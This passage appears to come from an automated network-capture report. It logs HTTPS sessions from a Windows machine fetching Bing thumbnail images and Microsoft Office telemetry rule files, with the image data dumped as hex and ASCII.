o/pBeClG;4+64O:s$kp}kN0XJIG[&esm2+i)o}BKqF*tiM3XcK<`+x,x./h'mq8o/c`Ko."=WCr'BLsL0{PfmCr,
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: 90 dc de 32 b4 d7 9e 68 79 1d 8f 24 ee fe 5d ab 2b 49 43 a5 6b 4d 68 8e 65 17 09 bf cd 73 b9 9b 9c 92 4f af 6f 6a d2 11 f7 4c 27 2f 78 a3 7a 90 e9 7a 55 d5 c3 db fe f2 69 be 73 b7 ef 00 01 00 76 c0 f5 f5 26 a6 f8 7f ac b9 b3 98 ea 78 4c fc f1 6e e0 15 c8 00 67 bf 35 6b c5 d6 d3 5e e9 31 41 11 0f 71 24 c3 64 63 96 7c 1e 40 1c 74 15 76 c7 c1 cc f7 50 4d aa f1 02 a0 ff 00 45 8f 8e 9c 73 8e d9 e6 89 1a 47 96 c5 bd 2e de ea 2b 53 7b 00 6d f2 30 67 f9 4b 10 0f 50 06 38 15 af a4 db 5c a3 17 9e 71 3b 33 12 cc 98 00 01 d0 2a 81 8a bc f2 c7 32 15 7d be 5f 00 29 fb bc 63 15 52 f2 e5 a0 fd dc 9f bb 8d 54 b2 ba 81 8e 9d 39 a7 76 cc 9b 4b 56 55 d5 74 db 09 2f 16 77 86 49 1a 39 44 df 2c c7 05 b3 8c b2 8f bd 8a d0 b3 86 c9 59 de d4 ae 66 62 cc 54 9c 93 8e bc f7 c5 57 50 Data Ascii: 2hy$]+ICkMhesOojL'/xzzUisv&xLng5k^1Aq$dc\|@tvPMEsG.+S{m0gKP8\q;3*2}_)cRT9vKVUt/wI9D,YfbTWP
2024-11-25 04:46:25 UTC	16069	IN	Data Raw: 31 f6 1e 95 a9 a8 4b e6 46 04 51 33 3f 97 cb 28 3c 1e 9c 1e 9d e9 ba 4c 3b 72 5c 65 b8 e4 83 f4 a7 0f 75 5c ce a5 e4 ec 49 3d c4 56 16 06 51 97 64 52 c1 01 e7 8f ae 2b 9d 81 ee ae ee a3 67 32 b3 3b ee 97 6a 9d a0 e7 3b 49 1c 0f 4f 5e 0d 69 6b 5a 69 b9 bc 57 69 42 a0 f9 b6 67 92 41 e0 7a 55 8d 0a 13 67 09 32 b6 d8 cb 86 f9 8f cb 93 c7 03 ae 7a 53 d9 09 5e 4e dd 0a f7 d6 bb ac 56 49 a7 96 46 3f 7d a5 23 6a 8c 60 00 00 02 b1 ce 95 a7 7f 65 1b 87 9d 63 b7 6c b3 43 e6 79 69 70 cb fc 24 f5 c0 c7 41 5a de 2d d6 6c ad b1 1d d4 52 3c 0c 4e e2 87 18 90 60 aa fe 23 bf 6a e0 3c 41 79 25 e5 cc 4e fb 7c bb 40 76 c4 9c 22 83 fc 23 04 f3 ef d4 9f a5 43 a9 68 9b 53 c3 73 4e fd 0b f3 6a 72 ea f7 16 eb 2c 56 d0 59 d8 e4 9f 2a 32 a8 80 0e 48 e7 38 1c 71 8e 49 ac 3d 7c 6a 77 Data Ascii: 1KFQ3?(<L;r\eu\I=VQdR+g2;j;IO^ikZiWiBgAzUg2zS^NVIF?}#j`eclCyip$AZ-lR<N`#j<Ay%N\|@v"#ChSsNjr,VY*2H8qI=\|jw
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: 36 c2 d9 56 59 33 35 fb 31 67 60 7e 50 a3 3c 28 ec 00 e3 39 e6 ba db 2b 79 2d ed a0 5f b3 37 96 70 ae c0 7c aa b9 fb a7 dc fb 51 b1 0f 56 1a 7a 34 db 4c 8f ff 00 2c c1 e7 be 01 eb fe 79 a2 b6 2d d6 14 d3 e6 9d 6d e3 21 58 80 73 d0 74 c7 19 e9 45 67 cc d9 aa 5a 6a 7c e6 12 e6 fe e9 55 e4 f3 67 b8 72 c5 df 82 cc 7a 92 7d 2b a7 b3 d3 2c 34 8b 34 96 fc 09 2e e4 24 c5 1f 50 00 ea 70 7a 93 e9 d6 af fc 39 d0 92 29 1a e2 e6 3c dd 6d fb a7 91 0a 9e ed ee 7a 75 ae 9e 3d 36 d5 2e 9a e9 d3 74 e3 e5 0c dc b6 07 03 6e 78 03 db bd 77 46 1d 59 c3 5e b7 44 64 78 72 c1 d6 c5 66 b8 27 73 fc c3 72 ed 3c f3 d3 fc e2 b5 75 4d 25 9e c6 35 85 c2 ab 36 24 3c fc aa 06 49 07 d7 8a 96 13 e7 4c 15 87 cc bd 00 ac df 1c eb d0 e8 d6 e9 a6 23 e2 e6 6c 3c a0 67 e5 53 dc 63 f2 c1 a7 3b ad Data Ascii: 6VY351g`~P<(9+y-_7p\|QVz4L,y-m!XstEgZj\|Ugrz}+,44.$Ppz9)<mzu=6.tnxwFY^Ddxrf'sr<uM%56$<IL#l<gSc;
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: be 2b 9e d6 3c 55 34 7e 27 b5 d3 be fc 92 cc 89 20 88 8d b0 9d d8 c6 7b f1 cf b6 2b a8 31 f9 aa 52 7f f5 72 64 72 30 4f a1 1e 9d 33 4d 68 61 3b 92 ff 00 ac 52 40 20 03 dc 7a 76 a6 c9 08 81 d2 e6 50 19 9d c2 c4 02 96 60 31 93 92 07 18 a8 a6 13 5c 4c 8b 14 82 25 07 24 63 24 a8 3d 07 b9 1e b5 a4 a0 ba 94 27 19 e7 34 6c 28 bb 8f 8e 35 00 ed 3b 80 ef df 34 ae 76 47 b3 6e 0b 1c 67 8a ce d2 2e 8d bd d4 f6 72 ee 04 38 31 b3 72 1b 39 24 03 ed e9 53 6a 57 b0 42 89 2c ee a9 10 70 ae c4 fc aa 4f 4c 9f ca a6 da 96 9a 68 b2 09 17 0a ab ca 9e 72 3a 0e 3b fd 6b 33 55 f0 d5 a5 f4 3e 43 c0 7e 69 0b 1f 9c e0 92 72 4e 7d f1 f8 d1 2e ad 04 77 82 da db f7 f3 2c 7b d9 50 6f 2a b9 c6 4e 3d 7a fd 2b 5e 1b 86 89 53 27 3b f2 7d 3f 0f 5e 28 69 a0 52 57 33 b4 ff 00 0d 69 96 d7 d1 dc Data Ascii: +<U4~' {+1Rrdr0O3Mha;R@ zvP`1\L%$c$='4l(5;4vGng.r81r9$SjWB,pOLhr:;k3U>C~irN}.w,{Po*N=z+^S';}?^(iRW3i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49742	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:24 UTC	346	OUT	GET /th?id=OADD2.10239402415510_1LQQ8WSBAXW97X0WT&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 04:46:25 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 606841 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 183469123AE64530A5EE4DE8F571BF41 Ref B: EWR311000107031 Ref C: 2024-11-25T04:46:24Z Date: Mon, 25 Nov 2024 04:46:24 GMT Connection: close
2024-11-25 04:46:25 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 16 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 20 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 30 39 3a 31 32 20 30 39 3a 34 36 3a 30 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ZExifMM*bj(1 r2i``Adobe Photoshop 25.11 (Windows)2024:09:12 09:46:028
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: a9 93 e8 6b 4d 16 a1 8b 6c 9b 5a ae 47 b5 7f e5 9d 53 8c b3 47 f3 7d ea d1 b5 46 78 d3 75 71 d4 67 b7 85 82 7a 45 12 c6 19 bf e5 9d 48 a3 f8 6a 48 63 dd b2 ac 2c 0a df 76 b9 1c 91 ee d3 a3 72 15 45 69 37 55 a8 63 66 a9 21 b4 ab 51 c0 cb 1e ea e7 9d 43 d3 a3 87 7d 51 5e 3b 7a 95 61 db 53 ad bb 35 48 b6 cc 6b 17 50 ee 8e 1f 4d 11 5d 53 6d 0a 1a ae 47 06 ef bd 52 47 6e bf f0 2a cd cd 1b c6 83 65 35 0d 53 2f fb 55 71 6d d5 be ed 3b ec eb 51 ed 11 d1 1a 0d 11 c3 1d 4e b1 2f 99 f3 52 ac 6a b5 2a 8d bf 7a b2 94 ae 75 53 a6 b6 62 ac 4b 52 c3 1a ad 44 c5 bc bf 96 8c ca b5 9b 3a 54 51 6f 62 d1 84 a8 3c d6 6a 99 77 37 de a8 3a 23 66 84 c5 3b ef 52 aa 50 c2 95 cb b0 aa 31 4b 42 a3 53 d5 2a 1b 34 5b 02 d3 96 91 85 3a 31 ba a1 bb 96 90 67 15 22 bd 37 65 2c 62 91 a2 d0 Data Ascii: kMlZGSG}FxuqgzEHjHc,vrEi7Ucf!QC}Q^;zaS5HkPM]SmGRGne5S/Uqm;QN/RjzuSbKRD:TQob<jw7:#f;RP1KBS*4[:1g"7e,b
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: d0 dd 5c 7e ef e6 ae 77 5c ff 00 59 f2 ff 00 e3 95 ea 61 6f 75 73 e3 b3 a7 07 06 d1 93 30 65 f9 7f 86 a1 61 56 64 a8 b9 af 50 f8 f4 40 c1 aa 36 18 a9 da 93 15 46 9c c5 7c d1 9a 99 a2 55 a6 32 62 82 b9 93 1b 4c 6a 73 52 71 41 43 72 68 a7 6d f7 a6 e0 d0 30 a5 5a 4a 29 dc 43 a9 33 42 d1 8a 40 3d 4d 2e 6a 3c d3 e8 13 1d bb de 85 34 da 76 df 6a 04 3a 9d 4c 5a 91 68 21 89 d6 8a 28 a9 10 51 4e fb d4 6d f6 a0 1b 1b 4e db ed 4b 8a 31 40 ae 26 df 6a 6d 4b b2 8d 94 05 c8 a8 e6 a7 58 dd a3 dd fd da 6f 96 df c3 40 ee 47 8a 5d be d4 ff 00 29 fd 6a 55 89 9b ee d2 ba 0b 37 b2 2b ed f6 a9 6d ed e4 7f b9 1e ea bf 63 64 cd 22 b4 91 d6 9d ad b2 c1 f2 af de ac 2a 62 23 1d b7 3d 1c 3e 5f 52 a5 9c b4 46 0f d9 a4 f3 36 d4 d1 d9 4b e5 fc d5 bb e4 2f de d9 4e 58 bf ef 9a c5 e2 59 Data Ascii: \~w\Yaous0eaVdP@6F\|U2bLjsRqACrhm0ZJ)C3B@=M.j<4vj:LZh!(QNmNK1@&jmKXo@G])jU7+mcd"*b#=>_RF6K/NXY
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: ed a2 a7 c5 35 a8 27 94 65 36 9c c2 9a c2 82 42 8e 69 19 55 be f5 2f 34 00 51 45 2e 69 a0 16 8a 6d 26 69 80 fa 36 fb 53 37 d1 be 80 1f 4b 8a 6e 69 54 d4 80 ee 94 ea 66 68 cd 03 4e c4 bb bd e9 ac 6a 3d de f4 31 a0 7c c8 7e 69 54 d4 7b 9a 95 68 1a 77 26 cd 3b 35 0e 69 d9 a0 ab 8e cd 2b 3d 33 34 9c d2 b0 f9 87 e6 8c d3 14 d1 45 87 70 99 3c d8 fc b5 92 45 6f ef a3 ed ac 5f 0f f8 a7 4c d5 35 27 d3 63 9f 75 c2 bb 2a 3f f0 cc c3 3b 87 d7 e5 ad a8 7f d7 a2 b7 f7 eb e6 fb ad 67 c7 ba 4f c6 9f 32 4d 26 fb fb 0e eb 56 6b 3b 1b 4f b5 7e e1 e6 49 37 e4 c8 4f ca bb 57 9c 2e 0f 20 53 8c 6e 65 39 b8 ea 8f a4 33 ba 93 35 4b 43 b8 9e eb 4d 49 ae 20 f2 a4 df b7 e4 7d cb ff 00 01 ab 95 26 8a 57 57 06 34 51 45 03 b8 99 a4 a9 39 a4 c5 03 19 bb de 8d de f4 fc 52 30 a0 06 d1 4e Data Ascii: 5'e6BiU/4QE.im&i6S7KniTfhNj=1\|~iT{hw&;5i+=34Ep<Eo_L5'cu*?;gO2M&Vk;O~I7OW. Sne935KCMI }&WW4QE9R0N
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: 7f 85 1b 73 1f c2 b1 ae af 7e e7 4d 07 6b 68 7a 5f c1 3d 63 5a 83 c5 5a 34 97 d1 e9 ba 5e a1 e2 6b 7f 22 c6 67 ba 56 9e e5 4e 66 79 1a 2e b1 cb 2b 36 01 5e 8a df 77 a5 7b 6f c6 a8 db 5c f8 11 ae 5c 68 f7 fe 54 91 58 fd b2 19 bf 8a 16 87 f7 8d ff 00 02 1b 2b c3 7e 0e fc 44 d2 ad be 0e e9 9a 2e b4 9a 56 97 ae 78 6a c7 6a 6a 97 df 32 ea 16 53 6f 78 7c a5 4f de b4 9f 2f b1 5f 5a f4 4d 17 e2 a7 87 a6 f8 1f ab 5e 5e 6b ba 6d d4 8b 63 0f d9 ed 1d 16 2f dd ed 4f bf fc 52 26 fd db 88 07 01 30 79 ac e9 b8 28 b8 df 72 ea 46 4e 5c c7 c5 57 da 84 b7 16 a9 ab 5f 5f ea 5f 6e de b2 fd a3 ef 32 65 b7 02 ac 79 66 fb c7 35 d8 5b dd e8 7a bf c2 7d 5b 52 92 d2 fb fb 41 ae 21 8a d3 51 bb 9d b7 26 57 13 3c 8f ff 00 2d 72 df c0 17 2a 39 cf 35 d8 78 a3 e1 da f8 b7 58 f1 34 92 6b Data Ascii: s~Mkhz_=cZZ4^k"gVNfy.+6^w{o\\hTX+~D.Vxjjj2Sox\|O/_ZM^^kmc/OR&0y(rFN\W___n2eyf5[z}[RA!Q&W<-r*95xX4k
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: fd ff 00 5a c2 f8 99 e3 1d 7b c6 5a e5 c6 a1 79 3e eb 58 bc b5 b7 87 fe 59 59 46 8b 1a 2f 94 3f 83 ee 0e 95 d9 fe ce 3a fe 99 3f 8c 6c 6f 35 4f b0 c5 67 a6 dc 34 ff 00 68 d8 bb 52 f5 d4 ed 9d c3 e4 3a 22 ae d0 3b 3b e7 15 9d 47 b3 2a 25 8f 04 d8 6b da 36 87 ab 6b 4b e1 3b 58 ac 74 6b 7b 48 35 48 66 dd 3b 79 85 9e 48 fc fd 9c 29 63 b7 70 6f ba 76 66 ad fe cf 37 fa aa 7c 7e f0 f7 97 ab 5f 4b 0d 9e a9 77 63 7d 69 6f 62 db 6d a3 9a 43 23 db a3 7f 1a be 33 b7 ad 74 6d f1 27 57 4f 18 f8 d3 c2 be 15 92 0b ad 3f c5 5a b3 4f 7d fd a9 a7 2f 9a f1 fd 95 17 cd 6f e1 5f bb bb f5 ac 1f 82 3e 34 f1 8d 94 76 3a 7e 8f a9 58 c5 f6 af 12 5c cf 2c d6 f6 b1 b4 b7 2a 8a 9b a5 97 78 fb a3 cb 5d 9f 8d 73 4e 71 85 da d8 b5 76 7b 17 8c 3e 20 ea fa cd c6 93 e0 f8 52 ee de de ce e2 Data Ascii: Z{Zy>XYYF/?:?lo5Og4hR:";;G%k6kK;Xtk{H5Hf;yH)cpovf7\|~_Kwc}iobmC#3tm'WO?ZO}/o_>4v:~X\,x]sNqv{> R
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: f6 a8 a3 65 47 f3 6e 23 93 6e df ef d6 a5 bf 8a 96 29 fc c8 e3 85 3f 85 11 e0 5d bf 9a 9c d2 b7 8a 9c 24 3f e8 96 bf 2f df f9 3e ff 00 f9 ed 51 cd 3e 91 36 f6 54 15 af 53 f0 ff 00 82 43 f6 b8 1f ef 79 6b ff 00 6f 52 7d df ce 92 49 60 3b 1a 3f 2f e6 f9 7f d7 49 57 1b c4 b6 6f 32 37 d8 7c a5 fe 3d 90 46 db ff 00 95 36 3f 10 d9 b4 08 d2 69 b1 f9 8b bb 63 a2 2a ab fe 1d b1 52 b9 bf 94 d6 51 a5 ff 00 3f 57 fe 02 55 86 ef 64 ff 00 bb 82 05 db bb e7 47 6f 9f fe fa a5 86 fe fb c8 da b2 6d 8d bf d8 5d bb aa c2 eb b6 9f 77 ec 91 f9 7b 3e 7f e1 f9 8f f7 46 29 bf db 16 d6 f2 3f 93 06 e6 97 6f df 7d bd 3f e0 34 3d 7e c8 a2 e0 ad 6a bf 71 03 45 7c ff 00 2a cf 6b 13 36 ef 9f e5 fb bf 85 44 b2 df 27 ef 16 48 db 6a 7c 8e 90 7c cf b7 b8 3f d6 b4 57 c4 1a 52 4e eb 35 a7 cc Data Ascii: eGn#n)?]$?/>Q>6TSCykoR}I`;?/IWo27\|=F6?icRQ?WUdGom]w{>F)?o}?4=~jqE\|k6D'Hj\|\|?WRN5
2024-11-25 04:46:25 UTC	16069	IN	Data Raw: 00 16 71 df bd 7b 07 c1 5f 8c 9a 56 9b e2 4b bb 1f 11 5f c9 2c 3a 6d a6 dd 3a e2 64 66 9e f5 52 47 e2 65 fe f8 46 e3 a6 76 57 98 6a d3 e8 7f 65 b7 f1 15 9f 97 6b 33 3d c7 da ed 1d db 6d cf ef 36 c7 73 1a b6 4a af 77 4c e7 db 15 dd 91 e1 31 78 69 62 68 d7 5a 4a d6 6b 6d 53 db f5 32 c6 d7 a1 51 53 94 5e ab fe 01 b1 e2 cb 2d 43 c5 1e 3f 87 50 f1 25 df f6 6d 8c 4e b1 69 cf e5 aa fd 8a cb cc db bf f8 46 e3 f3 13 8c fc cd 59 1f 13 a2 d1 5e c5 34 bf 04 c7 f6 cd 2f 4d db b3 51 86 e9 9a ea 65 2c 73 e6 c2 de fd 36 83 f5 aa 7a 09 d3 f5 cd 72 e2 df 56 bb be bc 6b 79 bf e2 5c 9b 19 95 e3 76 3b d9 73 c2 ae ee df 2d 64 78 92 4d 3d f5 27 8f 4d 82 d6 c2 3b 7d cd 6e 93 7e e2 57 5f 69 07 0d 9e d9 f9 ab e9 70 b4 7d 9b 8c 3f 95 2e 9a 1e 6d 49 de ef bf de 47 e1 34 8a d6 ea e2 Data Ascii: q{_VK_,:m:dfRGeFvWjek3=m6sJwL1xibhZJkmS2QS^-C?P%mNiFY^4/MQe,s6zrVky\v;s-dxM='M;}n~W_ip}?.mIG4
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: f5 c4 47 ff 00 89 75 cd be ed c8 fb 8f ee f7 12 fe 50 2b fd ce 3e f5 79 56 9f e1 1b e5 81 b5 29 36 7d 8d 6f 9a d2 54 49 ff 00 e3 da 41 f3 04 73 db 2a 3d f7 6d af 5b 0f 89 a3 52 4e 53 4b 99 5b d7 fa 76 2f 96 4a 2a 29 e8 c9 fe 14 e8 9f 68 d5 61 bc bc f9 59 9e 35 85 11 f6 b2 65 bf 2e 76 e3 fe 05 49 e2 24 8b 49 92 fa 49 2e 3e d0 d1 4d f6 6b 77 74 65 64 cb 6f c7 f7 46 3f 2a df d5 ad 22 f0 f6 8f 69 67 25 dc 9f 6c bf 86 6d ef bf 72 db 30 6c ec 21 b9 e7 80 4d 70 7a c4 ec b1 c3 ba 49 25 87 63 37 ce 9f 7f de bb 69 5e a4 9c d3 d1 9a 4e d0 82 8f 51 2d 4a db fc b7 11 c9 b9 be ff 00 f7 aa e7 85 fe d3 16 b1 6f 37 ee d9 ad 66 56 d8 ff 00 34 4f eb b8 7f 76 a9 68 62 0b 8b e4 6b a9 24 58 7e 6d ef bf ee 7c bc 6d fa 56 97 83 6e 16 0f 1a 58 ea 0d 77 6b 6b e5 4c b2 bb dc 23 4b Data Ascii: GuP+>yV)6}oTIAs=m[RNSK[v/J)haY5e.vI$II.>MkwtedoF?*"ig%lmr0l!MpzI%c7i^NQ-Jo7fV4Ovhbk$X~m\|mVnXwkkL#K
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: 2d 5e e2 d7 c5 1a c4 ab 14 cc af 32 5a c7 b5 d4 77 55 eb b7 fd a1 5a 1f f0 cb ff 00 0e ec 3f 7d 7d ab 78 8d 21 fd cf fa e8 3f bf fe ea 1d ab ee 6b 2f ed 1a 36 be bf 71 b7 f6 7d 6b db 4f bc f8 f5 85 cb ff 00 b3 b7 fe f9 a9 14 5e 7f cf 4d b5 f6 0e a9 f0 43 e0 7e 9d 71 bb 56 d6 af a2 86 df 72 cd bf 54 55 95 d5 3f 8b 6e d0 7f 01 5e 5d f1 62 df e0 7e 97 e1 ff 00 b2 f8 7f 4d ba fb 45 e4 2a d1 5d da 6b 0b 7d e4 b0 6f e2 5e 36 e5 7a 8f ca 9c 31 d0 a8 ed 14 c5 3c 0c e0 9b 94 91 e5 5a 0c 6d 3e 95 70 d7 11 ee fb 3c 32 32 7c fb 7f 86 b2 34 f8 da 3f de 37 cd 5b da 85 bb 2d 8c d3 69 3a 4d f2 d9 aa 2f 9d 36 c6 65 dc 57 9f 98 8f 97 f1 ac 95 2a d0 24 71 ff 00 c0 eb a1 6b a9 c6 d5 8b 5f 66 65 81 2f ae 3e 58 d9 f6 c2 8f fc 75 7d a2 8a d2 08 a1 8e 38 25 ba 97 e6 79 be 6f 93 Data Ascii: -^2ZwUZ?}}x!?k/6q}kO^MC~qVrTU?n^]b~ME]k}o^6z1<Zm>p<22\|4?7[-i:M/6eW$qk_fe/>Xu}8%yo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49745	2.16.158.89	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:24 UTC	367	OUT	GET /th?id=OADD2.10239359720591_10PHTLBML42K6TRZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive
2024-11-25 04:46:25 UTC	610	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Type: image/png Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Content-Length: 1107 Date: Mon, 25 Nov 2024 04:46:25 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.af9e1002.1732509985.170a558f
2024-11-25 04:46:25 UTC	1107	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 03 e8 49 44 41 54 48 4b bd 56 df 6f 54 45 14 9e 7b 79 37 a2 bc 17 2a 7f 82 fa 2c 94 d7 96 1f 09 0f e2 0b d1 44 30 1a c5 42 4b 20 d0 90 00 89 89 3f 23 0b a1 a5 2d 82 b4 90 b4 1a 69 81 6e 63 49 20 41 5e 08 a5 85 85 6e 03 16 24 d8 b4 5d 76 bb eb da 36 e9 9c 73 c6 ef cc bd bb 4b c0 1a 5b 13 6f 72 ee f7 ed cc dd f3 cd f9 e6 cc cd 35 22 c2 ac b7 28 4a 5c f1 6f 79 fc a8 5e ff c4 fd c5 b8 0c 3b e7 e6 af f6 f0 ec b1 bd 3c d7 76 88 e6 da 0e 02 0f 2a 56 78 fb 21 9a 39 b6 87 e5 ee 10 0f 67 7e a4 9e d4 47 9c 1c dd 4d Data Ascii: PNGIHDRw=sRGBgAMAapHYs%%IR$IDATHKVoTE{y7,D0BK ?#-incI A^n$]v6sK[or5"(J\oy^;<vVx!9g~GM

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:26 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044626Z-174c587ffdfx984chC1TEB676g00000005k00000000004cx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:26 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: b101f067-f01e-0020-26b7-3e956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044627Z-178bfbc474bwlrhlhC1NYCy3kg00000007300000000006mr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
